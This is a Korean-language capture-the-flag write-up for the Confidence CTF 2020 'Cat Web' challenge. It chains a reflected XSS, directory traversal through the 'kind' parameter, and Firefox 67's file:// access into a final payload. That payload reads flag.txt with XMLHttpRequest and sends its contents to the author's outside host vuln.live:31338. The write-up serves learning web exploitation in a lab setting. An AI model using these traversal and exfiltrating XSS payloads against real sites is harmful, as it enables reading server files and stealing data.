SqrtreV

Ethical Hacker and Researching A.I with Keras ๐Ÿ˜ƒ

Confidence CTF 2020 / Cat Web Write up

Cat Web

Prob

XSS Vector

์ผ๋‹จ, ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•ด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ํŽ˜์ด์ง€๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

page1

<html>
    <head>
        <title>My cats</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <script>
        function getNewCats(kind) {
            $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
                if(data.status != 'ok')
                {
                    return;
                }
                $('#cats_container').empty();
                cats = data.content;
                cats.forEach(function(cat) {
                    var newDiv = document.createElement('div');
                    newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
                    $('#cats_container').append(newDiv);
                });
            });

        }
        $(document).ready(function() {
            $('#cat_select').change(function() {
                var kind = $(this).val();
                history.pushState({}, '', '?'+kind)
                getNewCats(kind);
            });
            var kind = window.location.search.substring(1);
            if(kind == "")
            {
                kind = 'black';
            }
            getNewCats(kind);
        });
    </script>
    </head>
    <body>
        <select id="cat_select">
            <option value="black">black</option>
            <option value="grey">grey</option>
            <option value="red">red</option>
            <option value="white">white</option>
        </select>
        <div id="cats_container"></div>
        not like sumthing? send it <a href="/report">hier</a>
    </body>
</html>

์†Œ์Šค๋ฅผ ๋ณด๋ฉด, getNewCats() ํ•จ์ˆ˜์—์„œ /cats?kind=์— ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , JSON์„ ๋ฐ›์•„์™€์„œ status๊ฐ€ ok๋ผ๋ฉด, img ๋งํฌ๋ฅผ ๋„ฃ์–ด์ค€๋‹ค. - ์ด ๋ถ€๋ถ„์—์„œ ์ผ๋‹จ XSS๊ฐ€ ๋ฐœ์ƒ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์•„๋žซ ๋ถ€๋ถ„์„ ๋ณด๋ฉด, ์ฃผ์†Œ์˜ ?๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๋’ค์— ์ ํžŒ ๋ฌธ์ž์—ด์„ getNewCats() ํ•จ์ˆ˜์˜ ์ธ์ž๊ฐ’์œผ๋กœ ๋„˜๊ฒจ์ค€๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=black

์ ‘์†ํ•ด๋ณด๋ฉด ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

{"status": "ok", "content": ["il_570xN.1285759626_8j8m.jpg", "24.jpg", "2468b5d0-67e8-4d77-9bbb-87a656c8087a-large3x4_Untitledcollage.jpg"]}

๋งŒ์•ฝ ์—†๋Š” kind๋ฅผ ์ž…๋ ฅํ•˜๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์ด ๋„์›Œ์ค€๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=asd

{"status": "error", "content": "asd could not be found"}

์—ฌ๊ธฐ์„œ kind์˜ ๋ณ€์ˆ˜๊ฐ€ content์— ๋ฐ”๋กœ ๋“ค์–ด๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— XSS ํŠธ๋ฆฌ๊ฑฐ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=%22asdasd

{"status": "error", "content": ""asdasd could not be found"}

๋‹คํ–‰ํžˆ, "์— ๋Œ€ํ•ด์„œ ๋ณ„๋„๋กœ \"๋กœ ์น˜ํ™˜์„ ๊ฑฐ์น˜์ง€ ์•Š๋Š”๋‹ค. ์ฆ‰, XSS ํŠธ๋ฆฌ๊ฑฐ๋กœ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

์ด์ œ ์ด๋ฅผ index์— ์—ฎ์œผ๋ฉด XSS๋Š” ์–ด๋ ต์ง€ ์•Š๊ฒŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

http://catweb.zajebistyc.tf/?", "content":["\"><script>dest='http://vuln.live:31338/';location.href=dest;</script>"], "status": "ok", "hi":"

์œ„ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด vuln.live:31338๋กœ ์ด๋™ํ•œ๋‹ค.

์ผ๋‹จ javascript๋กœ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ• XSS / CSRF / SSRF ์ •๋„๋ฅผ report๊ธฐ๋Šฅ๊ณผ ์—ฎ์–ด์„œ ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„ ๋งํฌ๋ฅผ report ๋ณด๋‚ด๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์€ response๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

packet

์„œ๋ฒ„์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ Firefox/67.0 ์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Directory Traversal Vector

์œ„์—์„œ ์‚ฌ์šฉํ–ˆ๋˜ URL,

http://catweb.zajebistyc.tf/cats?kind=asd

์ด URL์—์„œ ์ œ๊ณตํ•˜๋Š” api์— ์กฐ๊ธˆ ์˜์‹ฌ์„ ํ•˜๊ธฐ ์‹œ์ž‘ํ–ˆ๋‹ค.

kind์— ๋“ค์–ด๊ฐ€๋Š” ๊ฐ’์ด ํ˜น์‹œ directory์ด๊ณ , ๊ทธ ์•ˆ์˜ ๋‚ด์šฉ์„ ๋ฆฌ์ŠคํŒ…ํ•ด์„œ ํ™”๋ฉด์— ๋„์›Œ์ฃผ๋Š” ์—ญํ• ์ด๋ผ๋ฉด Directory Traversal์ด ๊ฐ€๋Šฅํ•  ๋“ฏ ํ–ˆ๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=../

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

์•„๋‹ˆ๋‚˜ ๋‹ค๋ฅผ๊นŒ, ์‰ฝ๊ฒŒ ํ™•์ธ์ด ๊ฐ€๋Šฅํ–ˆ๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=../../

{"status": "ok", "content": ["opt", "etc", "bin", "boot", "media", "run", "proc", "var", "usr", "dev", "root", "lib64", "sbin", "lib", "sys", "home", "tmp", "mnt", "srv", "app", ".dockerenv", "entrypoint.sh", "uwsgi-nginx-entrypoint.sh", "start.sh"]}

http://catweb.zajebistyc.tf/cats?kind=../../app

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

์„œ๋ฒ„๊ฐ€ ์‹คํ–‰๋˜๊ณ  ์žˆ๋Š” ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋Š” /app ์ด๋ผ๋Š” ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

์„œ๋ฒ„์— CloudFlare๊ฐ€ ์ ์šฉ๋˜์–ด์žˆ์–ด ํ™•์‹คํ•˜์ง„ ์•Š์œผ๋‚˜, ๋†’์€ ํ™•๋ฅ ๋กœ Nginx+Flask(using uwsgi)์ผ ๊ฒƒ์ด๋‹ค.

์‹ค์ œ๋กœ static ํด๋”์— 404๋ฅผ ๊ณ ์˜์ ์œผ๋กœ ์œ ๋ฐœ์‹œํ‚ค๋ฉด Page Not Found์—์„œ Nginx ๋ฒ„์ „์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

http://catweb.zajebistyc.tf/cats?kind=../../app/templates

{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}

/app/templates/flag.txt๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

SSRF Vector

์„œ๋ฒ„์—์„œ ์‚ฌ์šฉ์ค‘์ธ ๋ธŒ๋ผ์šฐ์ €๋Š” Firefox 67 ์ด๋ผ๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค. ๊ทธ๋ž˜์„œ ํ•ด๋‹น ๋ฒ„์ „์—์„œ SSRF๋ฅผ ์œ ๋ฐœ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ file:/// ์ด ์ œ์ผ ์˜์‹ฌ ์Šค๋Ÿฌ์› ๋‹ค.

xhr๋กœ file:///์„ ์‚ฌ์šฉํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ๋‹ค๊ฐ€ ์•„๋ž˜์™€ ๊ฐ™์€ ๋ ˆํผ๋Ÿฐ์Šค๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค.

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp

CVE

์š”์•ฝํ•˜์ž๋ฉด, Firefox < 68 ์—์„œ๋Š” file:///๋กœ htmlํŒŒ์ผ์„ ์—ด์—ˆ์„ ๊ฒฝ์šฐ, ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ์™€ ๊ทธ ํ•˜์œ„ ๋””๋ ‰ํ† ๋ฆฌ์— file:///๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ• ์ˆ˜ ์žˆ๋‹ค๋Š” ๋‚ด์šฉ์ด์—ˆ๋‹ค.

์ฆ‰, ์šฐ๋ฆฌ๋Š” /app/templates/index.html์ด indexํŒŒ์ผ์ž„์„ ์•Œ๊ณ  ์žˆ๊ณ , ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ์•Œ๊ณ ์žˆ๋‹ค. ๋˜ํ•œ, index.html๊ณผ flag.txt๊ฐ€ ๊ฐ™์€ ๋””๋ ‰ํ† ๋ฆฌ์— ์œ„์น˜ํ•˜๊ณ  ์žˆ๋‹ค. XHR๋ฅผ ์ด์šฉํ•˜๋ฉด ์‰ฝ๊ฒŒ flag.txt๋ฅผ ์„œ๋ฒ„์˜ ๋ธŒ๋ผ์šฐ์ € ๋‹จ์—์„œ ๊ธ์–ด์˜ฌ ์ˆ˜ ์žˆ์„๊ฒƒ ๊ฐ™๋‹ค.

Exploit

์šฐ๋ฆฌ๋Š” /app/templates/index.html๊ฐ€ index์ž„์„ ์•Œ๊ณ ์žˆ๊ณ , ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ์•Œ๊ณ ์žˆ๊ณ , SSRF๋ฅผ ์œ„ํ•ด file:///app/templates/index.html๋กœ ์„œ๋ฒ„ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๊ฒƒ์œผ๋กœ ์ƒ๊ฐ์„ ํ™•์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.

๋˜ํ•œ, index.html์˜ XSS์ทจ์•ฝ์ ๊ณผ Firefox 67์˜ SSRF์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ index.html์—์„œ flag.txt๋ฅผ XHR๋กœ ๊ธ์–ด์˜จ ๋’ค, location.href๋กœ ๊ธ์–ด์˜จ ๋‚ด์šฉ์„ ์ „์†ก ์‹œํ‚ค๋Š”๊ฒŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

๋”ฐ๋ผ์„œ, ์ตœ์ข… ๊ณต๊ฒฉ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค. ์•„๋ž˜ ๋งํฌ๋ฅผ reportํ•ด์ฃผ๋ฉด ์„œ๋ฒ„ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‚˜์—๊ฒŒ flag.txt์˜ ๋‚ด์šฉ์„ ์ค„ ๊ฒƒ์ด๋‹ค.

file:///app/templates/index.html?","content":["\"><script>var rawFile=new XMLHttpRequest();var flag;rawFile.open(\"GET\", \"file:///app/templates/flag.txt\", false);rawFile.onreadystatechange=function(){if(rawFile.readyState===4)flag=rawFile.responseText;}\nrawFile.send(null);location.href=\"http://vuln.live:31338/?=\"%2bflag;</script>"],"status":"ok","hi":"

exp

flag: p4{can_i_haz_a_piece_of_flag_pliz?}